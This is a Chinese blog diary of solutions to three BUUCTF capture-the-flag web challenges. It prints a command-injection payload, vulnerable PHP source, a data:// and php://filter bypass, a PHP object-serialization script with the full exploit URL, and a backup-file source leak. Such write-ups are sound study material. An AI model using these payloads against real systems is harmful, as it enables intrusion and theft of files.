Buu摸鱼日记(4)

 

buu摸鱼日记(4)

[ACTF2020 新生赛]Exec

这比我预料的还简单

payload 127.0.0.1 & find / -name “flag*”

就会发现更目录里就有个flag

cat flag秒了

[ZJCTF 2019]NiZhuanSiWei

一开始看到这个题

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

就去搜索file_get_contents()

https://www.php.net/manual/zh/function.file-get-contents.php

于是我就开始大胆尝试(自作聪明

文档里面指出是可以用url的,我就在我的vps上写了一个socket,访问就会回复welcome to the zjctf

然而,并没有什么卵用(太真实了)

没了思路的我就只好去看wp了

首先,利用data伪协议进行输入。

https://juejin.im/post/5d79b49551882539aa5ad496

data伪协议就可以封装一个数据,比如在图片的地方去除http请求

很轻松就过了if

第二个

显然不能直接读取flag.php,只好去读useless.php,很自然的用php://filter

读取出来里面是个对象,更加自然的想到这个是个反序列化

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

里面就$file一个变量,直接写一个序列化输入进去

<?php 
class Flag{  //flag.php  
    public $file="flag.php";  

}  
	$a = new Flag();
	echo(serialize($a));
?> 

然后

http://f6895169-c0dc-4932-b323-bf79dd80d58c.node3.buuoj.cn/?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

flag在注释里

[ACTF2020 新生赛]BackupFile

走弯路了

本来应该秒的

拿dirsearch扫了半天,无果

随手打了个index.php.bak

草,就下载下来源码了

穿了个参数就秒了(ACTF还蛮简单的)